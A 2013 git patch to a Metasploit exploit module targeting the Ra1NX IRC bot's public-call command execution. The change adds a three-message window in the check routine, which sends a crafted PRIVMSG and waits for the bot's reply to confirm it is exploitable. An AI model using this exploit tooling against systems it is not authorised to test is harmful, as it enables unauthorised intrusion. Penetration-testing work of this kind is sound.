From 6cf44d9c85d88beb65b9a02b93c33f5732bdba7e Mon Sep 17 00:00:00 2001 From: bwall Date: Thu, 28 Mar 2013 21:14:52 -0400 Subject: [PATCH] added a 3 message window for recieving the check response --- .../exploits/multi/misc/Ra1NX_pubcall_exec.rb | 20 ++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb b/modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb index 7d5119a97d..f39c1b3c51 100644 --- a/modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb +++ b/modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb @@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end confirm_string = rand_text_alpha(8) - response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n") - print response + response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}") quit(sock) disconnect @@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote end end - def send_msg(sock, data) + def send_msg(sock, data, startResponse = nil) sock.put(data) data = "" + count = 3 begin - read_data = sock.get_once(-1, 1) - while not read_data.nil? - data << read_data + begin read_data = sock.get_once(-1, 1) - end + while not read_data.nil? + data << read_data + read_data = sock.get_once(-1, 1) + end + if startResponse != nil and data.start_with?(startResponse) + startResponse = nil + end + count -= 1 + end while startResponse == nil and count != 0 rescue EOFError end data